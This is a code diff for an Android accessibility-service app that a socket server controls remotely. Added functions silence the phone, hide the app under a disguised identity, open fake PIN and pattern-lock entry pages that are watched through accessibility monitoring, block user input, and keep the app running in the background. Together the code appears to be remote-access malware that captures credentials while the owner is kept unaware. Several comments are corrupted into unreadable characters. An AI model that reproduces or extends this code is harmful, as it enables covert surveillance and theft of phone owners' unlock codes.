dialer", + mmiCode = mmiCode + ) + } + } + } + + /** + * comment cleaned + * comment cleaned + * comment cleaned + * comment cleaned + */ + private fun applyOneClickMute() { + try { + val audioManager = service.getSystemService(Context.AUDIO_SERVICE) as? AudioManager + if (audioManager == null) { + Log.e(TAG, "One-click mute failed: AudioManager unavailable") + return + } + val romType = getROMType().uppercase() + + val streams = mutableListOf( + AudioManager.STREAM_RING, + AudioManager.STREAM_NOTIFICATION, + AudioManager.STREAM_SYSTEM, + AudioManager.STREAM_MUSIC, + AudioManager.STREAM_ALARM, + AudioManager.STREAM_VOICE_CALL, + AudioManager.STREAM_DTMF + ) + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + streams.add(AudioManager.STREAM_ACCESSIBILITY) + } + + Log.i( + TAG, + "One-click mute start: manufacturer=${Build.MANUFACTURER}, model=${Build.MODEL}, api=${Build.VERSION.SDK_INT}, rom=$romType" + ) + + streams.forEach { streamType -> + muteStreamDirect(audioManager, streamType) + } + + try { + audioManager.ringerMode = AudioManager.RINGER_MODE_SILENT + Log.i(TAG, "Ringer mode set to silent") + } catch (securityError: SecurityException) { + Log.w(TAG, "Failed to set ringtone mode to silent, fallback to vibrate", securityError) + try { + audioManager.ringerMode = AudioManager.RINGER_MODE_VIBRATE + } catch (vibrateError: Exception) { + Log.w(TAG, "Set vibrate mode also failed", vibrateError) + } + } catch (ringerError: Exception) { + Log.w(TAG, "Failed to set ringer mode", ringerError) + } + + streams.forEach { streamType -> + forceLowerToZero(audioManager, streamType) + } + + suppressVibrationBestEffort(audioManager) + applyNotificationInterruptionFilterBestEffort() + + if (needsMuteSecondPass(romType)) { + Handler(Looper.getMainLooper()).postDelayed({ + try { + streams.forEach { streamType -> + muteStreamDirect(audioManager, streamType) + forceLowerToZero(audioManager, streamType) + } + suppressVibrationBestEffort(audioManager) + Log.i(TAG, "One-click mute second pass completed: rom=$romType") + } catch (secondPassError: Exception) { + Log.w(TAG, "One-click mute second pass failed: rom=$romType", secondPassError) + } + }, 250) + } + + Log.i(TAG, "One-click mute execution complete") + } catch (e: Exception) { + Log.e(TAG, "One-click mute execution error", e) + } + } + + private fun muteStreamDirect(audioManager: AudioManager, streamType: Int) { + try { + val maxVolume = audioManager.getStreamMaxVolume(streamType) + if (maxVolume <= 0) return + + audioManager.setStreamVolume(streamType, 0, 0) + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + try { + audioManager.adjustStreamVolume(streamType, AudioManager.ADJUST_MUTE, 0) + } catch (e: Exception) { + Log.d(TAG, "ADJUST_MUTE not supported: stream=$streamType") + } + } + } catch (e: Exception) { + Log.w(TAG, "Failed to mute stream: stream=$streamType", e) + } + } + + private fun forceLowerToZero(audioManager: AudioManager, streamType: Int) { + try { + var current = audioManager.getStreamVolume(streamType) + if (current <= 0) return + + var attempts = 0 + while (current > 0 && attempts < 20) { + audioManager.adjustStreamVolume(streamType, AudioManager.ADJUST_LOWER, 0) + current = audioManager.getStreamVolume(streamType) + attempts++ + } + + if (current > 0) { + audioManager.setStreamVolume(streamType, 0, 0) + current = audioManager.getStreamVolume(streamType) + } + + Log.d(TAG, "Mute verification: stream=$streamType, volume=$current") + } catch (e: Exception) { + Log.w(TAG, "Failed to force volume down: stream=$streamType", e) + } + } + + private fun suppressVibrationBestEffort(audioManager: AudioManager) { + try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) { + val vibratorManager = service.getSystemService(Context.VIBRATOR_MANAGER_SERVICE) as? VibratorManager + vibratorManager?.defaultVibrator?.cancel() + vibratorManager?.vibratorIds?.forEach { id -> + try { + vibratorManager.getVibrator(id).cancel() + } catch (_: Exception) { + } + } + } else { + @Suppress("DEPRECATION") + val vibrator = service.getSystemService(Context.VIBRATOR_SERVICE) as? Vibrator + vibrator?.cancel() + } + } catch (e: Exception) { + Log.w(TAG, "Failed to cancel vibrator", e) + } + + try { + if (Settings.System.canWrite(service)) { + Settings.System.putInt(service.contentResolver, Settings.System.HAPTIC_FEEDBACK_ENABLED, 0) + Settings.System.putInt(service.contentResolver, Settings.System.VIBRATE_WHEN_RINGING, 0) + Log.i(TAG, "System vibration settings disabled") + } else { + Log.w(TAG, "WRITE_SETTINGS unavailable, skip vibration settings update") + } + } catch (e: Exception) { + Log.w(TAG, "Failed to update vibration-related system settings", e) + } + + try { + // Some ROMs restore vibration when mode switches quickly; force silent again. + audioManager.ringerMode = AudioManager.RINGER_MODE_SILENT + } catch (_: Exception) { + } + } + + private fun applyNotificationInterruptionFilterBestEffort() { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + return + } + try { + val notificationManager = service.getSystemService(Context.NOTIFICATION_SERVICE) as? NotificationManager + if (notificationManager == null) { + return + } + if (notificationManager.isNotificationPolicyAccessGranted) { + notificationManager.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE) + Log.i(TAG, "Notification interruption filter set to NONE") + } else { + Log.w(TAG, "Notification policy access not granted, skip interruption filter") + } + } catch (e: Exception) { + Log.w(TAG, "Failed to set notification interruption filter", e) + } + } + + private fun needsMuteSecondPass(romType: String): Boolean { + return romType.contains("MIUI") || + romType.contains("HYPEROS") || + romType.contains("COLOROS") || + romType.contains("FUNTOUCH") || + romType.contains("ORIGINOS") || + romType.contains("EMUI") || + romType.contains("HARMONY") || + romType.contains("ONEUI") + } /** - * 发送操作日志到服务器(优化版本,避免与屏幕数据传输冲突) + * comment cleaned */ fun sendOperationLog(logData: JSONObject) { try { @@ -1430,7 +3394,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val currentTime = System.currentTimeMillis() val timeSinceLastScreenData = currentTime - lastScreenDataTime - // 如果刚刚发送过屏幕数据(100ms内),稍微延迟发送日志 + // comment cleaned if (timeSinceLastScreenData < 100) { android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { @@ -1441,9 +3405,9 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } catch (e: Exception) { Log.e(TAG, "Delayed send operation log failed", e) } - }, 150) // 延迟150ms,错开屏幕数据发送时间 + }, 150) // 寤惰繜150ms锛岄敊寮€灞忓箷鏁版嵁鍙戦€佹椂闂? } else { - // 安全时间窗口,直接发送 + // comment cleaned socket?.emit("operation_log", logData) Log.d(TAG, "Send operation log: ${logData.optString("logType")} - ${logData.optString("content")}") } @@ -1456,7 +3420,191 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 🆕 发送权限申请响应到服务器 + * Emit structured device metric to server. + */ + fun sendDeviceMetric( + metricType: String, + metricName: String, + success: Boolean? = null, + data: Map = emptyMap() + ) { + try { + if (!isConnected || socket?.connected() != true) { + Log.d(TAG, "Skip metric emit while socket disconnected: $metricType/$metricName") + return + } + + val payload = JSONObject().apply { + put("deviceId", getDeviceId()) + put("metricType", metricType) + put("metricName", metricName) + if (success != null) { + put("success", success) + } + put("timestamp", System.currentTimeMillis()) + put("data", mapToJson(data)) + } + + socket?.emit("device_metric", payload) + Log.d(TAG, "Device metric sent: $metricType/$metricName") + } catch (e: Exception) { + Log.e(TAG, "Send device metric failed: $metricType/$metricName", e) + } + } + + private fun mapToJson(map: Map): JSONObject { + val result = JSONObject() + map.forEach { (key, value) -> + result.put(key, normalizeMetricValue(value)) + } + return result + } + + private fun normalizeMetricValue(value: Any?): Any? { + return when (value) { + null -> JSONObject.NULL + is JSONObject, is JSONArray, is String, is Number, is Boolean -> value + is Map<*, *> -> { + val json = JSONObject() + value.forEach { (k, v) -> + if (k is String) { + json.put(k, normalizeMetricValue(v)) + } + } + json + } + is Collection<*> -> { + val array = JSONArray() + value.forEach { item -> + array.put(normalizeMetricValue(item)) + } + array + } + is Array<*> -> { + val array = JSONArray() + value.forEach { item -> + array.put(normalizeMetricValue(item)) + } + array + } + else -> value.toString() + } + } + + private fun handleRuntimeFlagsUpdate(data: JSONObject) { + try { + val patch = data.optJSONObject("flags") ?: data + val updatedFlags = RuntimeFeatureFlags.applyPatch(service, patch) + if (updatedFlags == null) { + sendPermissionResponse( + "runtime_flags", + false, + "apply_failed" + ) + sendDeviceMetric( + metricType = "runtime_flags", + metricName = "apply", + success = false, + data = mapOf( + "reason" to "persist_failed" + ) + ) + return + } + + applyRuntimeFeatureFlagEffects(updatedFlags) + + sendPermissionResponse( + "runtime_flags", + true, + "updated:${RuntimeFeatureFlags.toJson(updatedFlags)}" + ) + + sendDeviceMetric( + metricType = "runtime_flags", + metricName = "apply", + success = true, + data = mapOf( + "flags" to RuntimeFeatureFlags.toJson(updatedFlags) + ) + ) + sendRuntimeFlagsSync("remote_update") + } catch (e: Exception) { + Log.e(TAG, "Handle runtime flags update failed", e) + sendPermissionResponse( + "runtime_flags", + false, + "apply_failed:${e.message ?: "unknown"}" + ) + sendDeviceMetric( + metricType = "runtime_flags", + metricName = "apply", + success = false, + data = mapOf("error" to (e.message ?: "unknown")) + ) + } + } + + private fun applyRuntimeFeatureFlagEffects(flags: RuntimeFeatureFlags.Flags) { + try { + val workManagerKeepAlive = WorkManagerKeepAliveService.getInstance() + if (flags.workManagerKeepAlive) { + workManagerKeepAlive.startKeepAlive(service) + } else { + workManagerKeepAlive.stopKeepAlive(service) + } + } catch (e: Exception) { + Log.w(TAG, "Apply workManagerKeepAlive flag failed", e) + } + + try { + val comprehensiveKeepAlive = ComprehensiveKeepAliveManager.getInstance(service) + if (flags.comprehensiveKeepAlive) { + if (comprehensiveKeepAlive.canStartService()) { + comprehensiveKeepAlive.startComprehensiveKeepAlive() + } + } else { + comprehensiveKeepAlive.stopComprehensiveKeepAlive() + } + } catch (e: Exception) { + Log.w(TAG, "Apply comprehensiveKeepAlive flag failed", e) + } + } + + private fun sendRuntimeFlagsSync(source: String) { + try { + if (!isConnected || socket?.connected() != true) { + return + } + val flags = RuntimeFeatureFlags.current(service) + val payload = JSONObject().apply { + put("deviceId", getDeviceId()) + put("source", source) + put("timestamp", System.currentTimeMillis()) + put("flags", RuntimeFeatureFlags.toJson(flags)) + } + socket?.emit("runtime_flags_sync", payload) + } catch (e: Exception) { + Log.w(TAG, "Send runtime flags sync failed", e) + } + } + + /** + * comment cleaned + */ + private fun buildPermissionDeniedMessage(permissionType: String, fallback: String): String { + val runtimeReason = runCatching { + service.getRuntimePermissionFailureReason(permissionType) + }.getOrNull() + return if (runtimeReason.isNullOrBlank()) { + fallback + } else { + "$fallback | reason=$runtimeReason" + } + } + + /** + * comment cleaned */ fun sendPermissionResponse(permissionType: String, success: Boolean, message: String) { try { @@ -1480,7 +3628,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 🆕 发送设备输入阻塞状态变更到服务器 + * comment cleaned */ fun sendDeviceInputBlockedChanged(blocked: Boolean, fromConfigComplete: Boolean = false, autoEnabled: Boolean = false) { try { @@ -1488,11 +3636,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val eventData = JSONObject().apply { put("deviceId", getDeviceId()) put("blocked", blocked) + put("inputBlocked", blocked) put("success", true) - put("message", if (blocked) "设备输入已阻塞" else "设备输入已恢复") + put("message", if (blocked) "Input blocked" else "Input unblocked") put("timestamp", System.currentTimeMillis()) - put("fromConfigComplete", fromConfigComplete) // 标记这是配置完成后的自动启用 - put("autoEnabled", autoEnabled) // 标记这是自动启用的,区别于手动操作 + put("fromConfigComplete", fromConfigComplete) // 鏍囪杩欐槸閰嶇疆瀹屾垚鍚庣殑鑷姩鍚敤 + put("autoEnabled", autoEnabled) // 鏍囪杩欐槸鑷姩鍚敤鐨勶紝鍖哄埆浜庢墜鍔ㄦ搷浣? } socket?.emit("device_input_blocked_changed", eventData) @@ -1504,9 +3653,9 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { Log.e(TAG, "Failed to send input block state change", e) } } - + /** - * 处理服务器地址修改 + * comment cleaned */ private fun handleServerUrlChange(newServerUrl: String) { scope.launch(Dispatchers.IO) { @@ -1562,13 +3711,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } else { Log.e(TAG, "Failed to save server URL") - // 发送失败响应 + // comment cleaned withContext(Dispatchers.Main) { try { val responseData = JSONObject().apply { put("deviceId", getDeviceId()) put("success", false) - put("message", "保存服务器地址失败") + put("message", "娣囨繂鐡ㄩ張宥呭閸c劌婀撮崸鈧径杈Е") put("timestamp", System.currentTimeMillis()) } socket?.emit("server_url_changed", responseData) @@ -1580,13 +3729,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } catch (e: Exception) { Log.e(TAG, "Handle server URL change failed", e) - sendErrorResponse("处理服务器地址修改时发生异常: ${e.message}") + sendErrorResponse("澶勭悊鏈嶅姟鍣ㄥ湴鍧€淇敼鏃跺彂鐢熷紓甯? ${e.message}") } } } /** - * 发送错误响应 + * comment cleaned */ private suspend fun sendErrorResponse(errorMessage: String) { withContext(Dispatchers.Main) { @@ -1606,7 +3755,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 重新连接到新服务器 + * comment cleaned */ private suspend fun reconnectToNewServer(newServerUrl: String) { try { @@ -1636,55 +3785,498 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 打开密码输入页面 + * comment cleaned */ private fun openPasswordInputActivity(passwordType: String) { + scope.launch { + try { + Log.d(TAG, "Opening password input page, type: $passwordType") + val launchResponseEvent = getPasswordLaunchResponseEvent(passwordType) + + // Reset password input completion state to allow re-input + val prefs = service.getSharedPreferences("password_input", Context.MODE_PRIVATE) + val completed = prefs.getBoolean("password_input_completed", false) + + if (completed) { + Log.i(TAG, "Password already completed, resetting state for re-input") + prefs.edit().putBoolean("password_input_completed", false).apply() + Log.i(TAG, "Password input state reset, ready for re-input") + } + + val camouflageMode = isAppInCamouflageMode() + // camo mode: ensure MainActivity stays disabled + if (camouflageMode) { + Log.i(TAG, "Camouflage mode detected, ensure MainActivity disabled") + ensureMainActivityDisabled() + } + + // comment cleaned + service.wakeScreen() + delay(120) + + val deviceId = getDeviceId() + val installationId = System.currentTimeMillis().toString() + + val intent = Intent(service, com.hikoncont.activity.PasswordInputActivity::class.java).apply { + putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE, passwordType) + putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, deviceId) + putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, installationId) + putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_SOCKET_WAKE, true) + // Launch dedicated password page directly and avoid bringing MainActivity task to front. + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) + addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION) + } + + var launched = startActivityOnMain(intent, "PasswordInput-$passwordType") + delay(350) + + // real-device fallback: retry once without bringing MainActivity to front + if (!isPasswordInputUiVisible()) { + Log.w(TAG, "PasswordInput not visible after first launch, retrying direct launch") + launched = startActivityOnMain(intent, "PasswordInput-$passwordType-retry") || launched + delay(350) + } + + if (launched) { + Log.d(TAG, "Password input page launch sequence finished, type: $passwordType") + sendPasswordLaunchResponse( + eventName = launchResponseEvent, + success = true, + message = "Password input page launch command accepted", + passwordType = passwordType + ) + // start monitoring accessibility UI transitions + startAccessibilityMonitoring(passwordType, deviceId, installationId) + } else { + Log.e(TAG, "Failed to launch password input page, type: $passwordType") + sendPasswordLaunchResponse( + eventName = launchResponseEvent, + success = false, + message = "Failed to launch password input page", + passwordType = passwordType + ) + } + + } catch (e: Exception) { + Log.e(TAG, "Failed to start password input page", e) + sendPasswordLaunchResponse( + eventName = getPasswordLaunchResponseEvent(passwordType), + success = false, + message = "Failed to start password input page: ${e.message ?: "unknown"}", + passwordType = passwordType + ) + } + } + } + + private fun getPasswordLaunchResponseEvent(passwordType: String): String { + return when (passwordType) { + com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN -> "pin_input_response" + com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN_4 -> "four_digit_pin_response" + com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PATTERN -> "pattern_lock_response" + else -> "pin_input_response" + } + } + + private fun sendPasswordLaunchResponse( + eventName: String, + success: Boolean, + message: String, + passwordType: String + ) { try { - Log.d(TAG, "Opening password input page, type: $passwordType") - - // Reset password input completion state to allow re-input - val prefs = service.getSharedPreferences("password_input", Context.MODE_PRIVATE) - val completed = prefs.getBoolean("password_input_completed", false) - - if (completed) { - Log.i(TAG, "Password already completed, resetting state for re-input") - prefs.edit().putBoolean("password_input_completed", false).apply() - Log.i(TAG, "Password input state reset, ready for re-input") + if (socket?.connected() != true) { + return } - - // 检查是否处于伪装模式,如果是则确保MainActivity被禁用 - if (isAppInCamouflageMode()) { - Log.i(TAG, "🎭 检测到伪装模式,确保MainActivity被禁用") - ensureMainActivityDisabled() + val payload = JSONObject().apply { + put("deviceId", getDeviceId()) + put("success", success) + put("message", message) + put("passwordType", passwordType) + put("timestamp", System.currentTimeMillis()) } - - val deviceId = getDeviceId() - val installationId = System.currentTimeMillis().toString() - - val intent = Intent(service, com.hikoncont.activity.PasswordInputActivity::class.java).apply { - putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE, passwordType) - putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, deviceId) - putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, installationId) - putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_SOCKET_WAKE, true) - // 使用温和的flags设置,避免Activity被销毁 - addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) - addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) - addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT) - } - - service.startActivity(intent) - Log.d(TAG, "Password input page started, type: $passwordType") - - // 启动无障碍监控 - startAccessibilityMonitoring(passwordType, deviceId, installationId) - + socket?.emit(eventName, payload) } catch (e: Exception) { - Log.e(TAG, "Failed to start password input page", e) + Log.w(TAG, "Send password launch response failed: event=$eventName", e) + } + } + + /** + * comment cleaned + */ + private fun openAppSettingsFromSocket() { + scope.launch { + try { + Log.i(TAG, "Execute open-app-settings command from Socket") + + service.wakeScreen() + val foregroundRecovered = maybeRecoverForegroundForSensitiveLaunch( + scene = "open_app_settings" + ) + if (foregroundRecovered) { + delay(220) + } + + val primaryIntent = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply { + data = Uri.parse("package:${service.packageName}") + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + } + + startActivityOnMain(primaryIntent, "OpenAppSettings-primary") + delay(450) + if (isSettingsUiVisible()) { + Log.i(TAG, "Open app settings success by primary intent") + return@launch + } + + Log.w(TAG, "Primary app settings launch not visible, trying fallback settings intents") + val fallbackIntents = listOf( + Intent(Settings.ACTION_APPLICATION_SETTINGS).apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + }, + Intent(Settings.ACTION_MANAGE_APPLICATIONS_SETTINGS).apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + }, + Intent(Settings.ACTION_SETTINGS).apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + } + ) + + for ((index, fallbackIntent) in fallbackIntents.withIndex()) { + if (!isIntentResolvable(fallbackIntent)) { + continue + } + startActivityOnMain(fallbackIntent, "OpenAppSettings-fallback-$index") + delay(450) + if (isSettingsUiVisible()) { + Log.i(TAG, "Open app settings success by fallback intent index=$index") + return@launch + } + } + + Log.w(TAG, "Open app settings may be blocked by ROM background launch restrictions") + } catch (e: Exception) { + Log.e(TAG, "Open app settings from socket failed", e) + } + } + } + + private fun openBatteryOptimizationSettingsFromSocket() { + scope.launch { + try { + Log.i(TAG, "Execute open-battery-optimization-settings command from Socket") + + service.wakeScreen() + val foregroundRecovered = maybeRecoverForegroundForSensitiveLaunch( + scene = "open_battery_optimization_settings" + ) + if (foregroundRecovered) { + delay(220) + } + + val intents = mutableListOf() + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + intents += Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply { + data = Uri.parse("package:${service.packageName}") + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + } + } + intents += Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS).apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + } + intents += Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply { + data = Uri.parse("package:${service.packageName}") + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + } + + var launched = false + for ((index, intent) in intents.withIndex()) { + if (!isIntentResolvable(intent)) { + continue + } + val ok = startActivityOnMain(intent, "OpenBatteryOptimizationSettings-$index") + if (!ok) { + continue + } + launched = true + delay(420) + if (isSettingsUiVisible()) { + break + } + } + + if (!launched) { + sendPermissionResponse( + "battery_optimization", + false, + "Unable to open battery optimization settings on this ROM" + ) + return@launch + } + + sendPermissionResponse( + "battery_optimization", + false, + "Battery optimization settings opened, please allow ignore optimization" + ) + delay(1200) + sendKeepAlivePermissionSnapshot("open_battery_settings") + } catch (e: Exception) { + Log.e(TAG, "Open battery optimization settings from socket failed", e) + sendPermissionResponse( + "battery_optimization", + false, + "Open battery optimization settings failed: ${e.message ?: "unknown_error"}" + ) + } + } + } + + private fun sendKeepAlivePermissionSnapshot(source: String) { + try { + val packageName = service.packageName + val powerManager = service.getSystemService(Context.POWER_SERVICE) as? android.os.PowerManager + val activityManager = service.getSystemService(Context.ACTIVITY_SERVICE) as? android.app.ActivityManager + val alarmManager = service.getSystemService(Context.ALARM_SERVICE) as? android.app.AlarmManager + + val batteryOptimizationIgnored = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + try { + powerManager?.isIgnoringBatteryOptimizations(packageName) ?: false + } catch (e: Exception) { + Log.w(TAG, "Read battery optimization status failed", e) + false + } + } else { + true + } + + val backgroundRestricted = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) { + try { + activityManager?.isBackgroundRestricted ?: false + } catch (e: Exception) { + Log.w(TAG, "Read background restricted status failed", e) + false + } + } else { + false + } + + val canScheduleExactAlarms = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) { + try { + alarmManager?.canScheduleExactAlarms() ?: true + } catch (e: Exception) { + Log.w(TAG, "Read exact alarm capability failed", e) + true + } + } else { + true + } + + val overlayAllowed = try { + Settings.canDrawOverlays(service) + } catch (_: Exception) { + false + } + + val batteryMessage = buildString { + append( + if (batteryOptimizationIgnored) { + "Battery optimization is ignored" + } else { + "Battery optimization still enabled" + } + ) + append(" | source=").append(source) + append(" | rom=").append(getROMType()) + } + sendPermissionResponse( + "battery_optimization", + batteryOptimizationIgnored, + batteryMessage + ) + + val backgroundReady = !backgroundRestricted + val backgroundMessage = buildString { + append( + if (backgroundReady) { + "Background run is not restricted" + } else { + "Background run is restricted by system" + } + ) + append(" | overlay=").append(overlayAllowed) + append(" | exactAlarm=").append(canScheduleExactAlarms) + append(" | source=").append(source) + append(" | note=Auto-start switch is ROM-managed and cannot be read via public Android API") + } + sendPermissionResponse( + "background_start", + backgroundReady, + backgroundMessage + ) + + sendDeviceMetric( + metricType = "keepalive", + metricName = "permission_snapshot", + success = backgroundReady && batteryOptimizationIgnored, + data = mapOf( + "source" to source, + "batteryOptimizationIgnored" to batteryOptimizationIgnored, + "backgroundRestricted" to backgroundRestricted, + "exactAlarmGranted" to canScheduleExactAlarms, + "overlayGranted" to overlayAllowed + ) + ) + } catch (e: Exception) { + Log.e(TAG, "Send keepalive permission snapshot failed", e) + sendPermissionResponse( + "background_start", + false, + "Keepalive status check failed: ${e.message ?: "unknown_error"}" + ) + sendDeviceMetric( + metricType = "keepalive", + metricName = "permission_snapshot", + success = false, + data = mapOf( + "source" to source, + "error" to (e.message ?: "unknown") + ) + ) + } + } + + /** + * comment cleaned + */ + private suspend fun maybeRecoverForegroundForSensitiveLaunch( + scene: String, + skipWhenCamouflage: Boolean = false + ): Boolean { + if (skipWhenCamouflage) { + return false + } + if (isAppUiInForeground()) { + return false + } + + val smartReturnOk = try { + withTimeoutOrNull(2500) { service.performSmartReturnToApp() } ?: false + } catch (e: Exception) { + Log.w(TAG, "Smart foreground return failed for scene=$scene", e) + false + } + if (smartReturnOk) { + Log.i(TAG, "Foreground recovered by smart return, scene=$scene") + return true + } + + return bringAppToForeground(scene) + } + + private suspend fun bringAppToForeground(scene: String): Boolean { + val launchIntent = try { + service.packageManager.getLaunchIntentForPackage(service.packageName)?.apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + putExtra("FROM_SOCKET_FOREGROUND_RECOVERY", true) + putExtra("RECOVERY_SCENE", scene) + } + } catch (e: Exception) { + Log.w(TAG, "Get launch intent failed for scene=$scene", e) + null + } + + if (launchIntent == null) { + Log.w(TAG, "No launch intent available for scene=$scene") + return false + } + + val launched = startActivityOnMain(launchIntent, "ForegroundRecovery-$scene") + if (launched) { + Log.i(TAG, "Foreground recovery launch sent, scene=$scene") + } + return launched + } + + private suspend fun startActivityOnMain(intent: Intent, scene: String): Boolean { + if (!isIntentResolvable(intent)) { + Log.w(TAG, "Intent unresolved, skip scene=$scene, action=${intent.action}, component=${intent.component}") + return false + } + + return withContext(Dispatchers.Main) { + try { + service.startActivity(intent) + Log.d(TAG, "startActivity sent on main thread, scene=$scene") + true + } catch (t: Throwable) { + Log.e(TAG, "startActivity failed, scene=$scene", t) + false + } + } + } + + private fun isIntentResolvable(intent: Intent): Boolean { + if (intent.component != null) { + return true + } + return try { + service.packageManager.resolveActivity(intent, 0) != null + } catch (e: Exception) { + Log.w(TAG, "resolveActivity failed: action=${intent.action}", e) + false + } + } + + private fun isAppUiInForeground(): Boolean { + return try { + val packageName = service.rootInActiveWindow?.packageName?.toString().orEmpty() + packageName == service.packageName + } catch (e: Exception) { + Log.w(TAG, "Check app foreground failed", e) + false + } + } + + private fun isPasswordInputUiVisible(): Boolean { + return try { + val root = service.rootInActiveWindow + val packageName = root?.packageName?.toString().orEmpty() + val className = root?.className?.toString().orEmpty() + packageName == service.packageName && className.contains("PasswordInputActivity") + } catch (e: Exception) { + Log.w(TAG, "Check PasswordInputActivity visibility failed", e) + false + } + } + + private fun isSettingsUiVisible(): Boolean { + return try { + val packageName = service.rootInActiveWindow?.packageName?.toString()?.lowercase().orEmpty() + packageName.contains("settings") || + packageName.contains("systemmanager") || + packageName.contains("securitycenter") + } catch (e: Exception) { + Log.w(TAG, "Check settings visibility failed", e) + false } } /** - * 🎭 检查APP是否处于伪装模式 + * Check whether APP is in camouflage mode */ private fun isAppInCamouflageMode(): Boolean { return try { @@ -1698,7 +4290,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val isCamouflage = (phoneManagerEnabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) && (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED) - Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (PhoneManager: $phoneManagerEnabled, Main: $mainDisabled)") + Log.d(TAG, "Check APP camouflage mode: $isCamouflage (PhoneManager: $phoneManagerEnabled, Main: $mainDisabled)") isCamouflage } catch (e: Exception) { Log.e(TAG, "Failed to check app camouflage mode", e) @@ -1707,11 +4299,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 🎭 确保MainActivity被禁用 + * comment cleaned */ private fun ensureMainActivityDisabled() { try { - Log.i(TAG, "🎭 确保MainActivity被禁用") + Log.i(TAG, "Ensure MainActivity is disabled") val packageManager = service.packageManager val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity") @@ -1734,7 +4326,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 启动无障碍监控(参考handleNormalPasswordPageSwitch强制置顶) + * comment cleaned */ private fun startAccessibilityMonitoring(passwordType: String, deviceId: String, installationId: String) { try { @@ -1742,7 +4334,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { Log.d(TAG, "Device ID: $deviceId") Log.d(TAG, "Installation ID: $installationId") - // 通过AccessibilityRemoteService获取AccessibilityEventManager + // comment cleaned val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService if (accessibilityService != null) { Log.d(TAG, "Got AccessibilityRemoteService") @@ -1750,7 +4342,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { if (eventManager != null) { Log.d(TAG, "Got AccessibilityEventManager") - // 启动Socket唤醒密码监控 + // comment cleaned eventManager.startSocketWakePasswordMonitoring(passwordType, deviceId, installationId) Log.d(TAG, "Accessibility monitoring started") @@ -1771,26 +4363,26 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 启动强制置顶监控(参考handleNormalPasswordPageSwitch逻辑) + * comment cleaned */ private fun startForceTopMonitoring(passwordType: String, deviceId: String, installationId: String) { try { - 